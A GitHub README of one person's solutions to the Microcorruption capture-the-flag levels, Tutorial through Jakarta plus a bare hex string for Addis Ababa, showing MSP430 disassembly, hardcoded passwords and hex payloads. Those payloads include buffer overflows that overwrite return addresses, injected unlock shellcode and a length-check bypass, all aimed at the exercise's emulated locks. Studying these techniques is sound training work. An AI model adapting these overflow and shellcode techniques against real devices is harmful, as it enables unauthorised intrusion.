My solutions to the fantastic Microcorruption exercises.
Go to file
2023-01-21 14:42:35 -05:00
LICENSE Initial commit 2023-01-21 18:30:32 +01:00
README.md Document exercises Cusco till Jakarta 2023-01-21 14:42:35 -05:00

microcorruption

My solutions to the fantastic Microcorruption exercises.

Tutorial

Code that compares the password to the expected length of 8 characters.

4484:  6e4f           mov.b	@r15, r14
4486:  1f53           inc	r15
4488:  1c53           inc	r12
448a:  0e93           tst	r14
448c:  fb23           jnz	$-0x8 <check_password+0x0>
448e:  3c90 0900      cmp	#0x9, r12
4492:  0224           jz	$+0x6 <check_password+0x14>

Any eight characters input is valid, for example:

password

New Orleans

Password is hardcoded and located at address 0x2400.

2400: 764f 7050 6e4b 5300 0000 0000 0000 0000   vOpPnKS.

Solution:

vOpPnKS

Sydney

The password is hardcoded in the check_password routine:

448a <check_password>
448a:  bf90 4f78 0000 cmp	#0x784f, 0x0(r15)
4490:  0d20           jnz	$+0x1c <check_password+0x22>
4492:  bf90 3b77 0200 cmp	#0x773b, 0x2(r15)
4498:  0920           jnz	$+0x14 <check_password+0x22>
449a:  bf90 2b74 0400 cmp	#0x742b, 0x4(r15)
44a0:  0520           jnz	$+0xc <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 5d2f 0600 cmp	#0x2f5d, 0x6(r15)
44aa:  0124           jz	$+0x4 <check_password+0x24>

Solution (hex, byte ordering is little endian):

4f783b772b745d2f

ASCII equivalent:

Ox;w+t]/

Hanoi

The input password does not matter. Instead, there is a hardcoded comparison of 0xb with the value at 0x2410.

4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 0b00 1024 cmp.b	#0xb, &0x2410
4560:  0720           jnz	$+0x10 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>
456a:  b012 4844      call	#0x4448 <unlock_door>

The input password is stored at 0x2400, so we can input a long enough string to set 0x2410 to 0xb. Solution in hex:

16 bytes from 0x2400 to 0x240f
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb0b
                                --
             set 0x2410 to 0xb /

Cusco

At the end of the login function the stackpointer points to 0x43fe. The input password is allocated to 0x43ee. That means we can override the return address at 0x43fe with the address of the unlock_door door function at 0x4446.

Solution in hex:

16 bytes from 0x43ee to 0x43fe
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
                                ----
                               /
                               set 0x43fe to 0x4644 (unlock_door)

Reykjavik

This exercise is only tricky because the application decrypts the code into 0x2400 at runtime and then executes from there. The consequence is that no disassembly view is available.

The easiest way to solve this is to run till the password prompt. Then single step and the second instruction will look like this:

CPU Cycles: 22680
b490 455e dcff
cmp #0x5e45, -0x24(r4)

We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:

455e

If we hadn't gotten that lucky, the next step would be to copy and disassembly all the code starting at 0x2400. We will probably have to do something like that in later exercises.

Whitehorse

For this exercise we combine two techniques. First, we notice that the vulnerability we first saw in Cusco where we can manipulate the return address to any value is present. However, because HSM-2 is in use, there is no unlock door function.

Second, we notice that the password input is stored at 0x36b8.

What that allows us to do is to inject code that unlocks the door, and then jump to that exact code via the return address manipulation.

We write the code to unlock the door:

push	#0x7f   // INT ID for unlock door
call	#0x4532 // jump to INT

And assemble it to:

30127f00b0123245

Then we add a fill pattern and change the return address to 0x36b8, so that the injected code gets executed. The result in hex looks like this:

code to unlock door                 / return to injected code
----------------                ----
30127f00b0123245eeeeeeeeeeeeeeeeb836
                ----------------
       fill up /

Montevideo

This one is similar to Whitehorse, except a string copy function copies the input password to a different location. That is an issue because our previous code contains 0x00 (null character) which terminates the string.

To work around this, we have to get creative to avoid 0x00 in our code. For example, the following works:

mov	#0x1190, r15
sub	#0x1111, r15
push	r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call	#0x454c // jump to INT

Because it results in the following assembly without 0x00:

3f4090113f8011110f12b0124c45

As before, we manipulate the return address to execute the injected code, and get the solution (in hex):

code to unlock door                 / return to injected code
----------------------------    ----
3f4090113f8011110f12b0124c45ccccee43
                            ----
            two fill bytes /

Johannesburg

This lock uses HSM-1 and we can directly manipulate the return address to jump to the unlock door function. However, there is an additional check that verifies that the 18th (0x11 offset) character of the input is 0x40:

4578:  f190 4000 1100 cmp.b	#0x40, 0x11(sp)

Therefore, we have to make sure that this byte of our input is 0x40, and then change the return address to 0x4446 (unlock door functio entry). The solution is then (in hex):

fill bytes                              / override stack to return to unlock_door
----------------------------------  ----
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
                                  --
            pass check at 0x4578 /

Santa Cruz

This is another exercise where we can manipulate the return address to point to the unlock function. However, there are two checks that make our life harder.

Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to validate the minimum and maximum length of the user password.

Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before the return pointer manipulation becomes effection.

With that information, we can set the username to (in hex):

                                    / upper and lower password length bounds
                                ----
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
                                                                                    ----
                                                     return address to unlock_door /

And the password to:

                                  -- byte at 0x43c6 must be zero (via null byte of <getsn>)
2222222222222222222222222222222222

Jakarta

This exercise is yet again vulnerable to a return address override. However, it also executes a length check which prevents us from making the input long enough to override the return address.

However, we can make the password long enough to overflow the length counter and therefore circumvent the length check.

For example, the username could be the following (in hex):

6161616161616161616161616161616161616161616161616161616161616161

And then we use the following passowrd.

            / set return address to unlock_door
        ----
626262624c44626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
62626262626262626262626262626262626262626262626262626262
-
 \ make rest of string long enough to overflow input length counter

Addis Ababa

603a256e61256e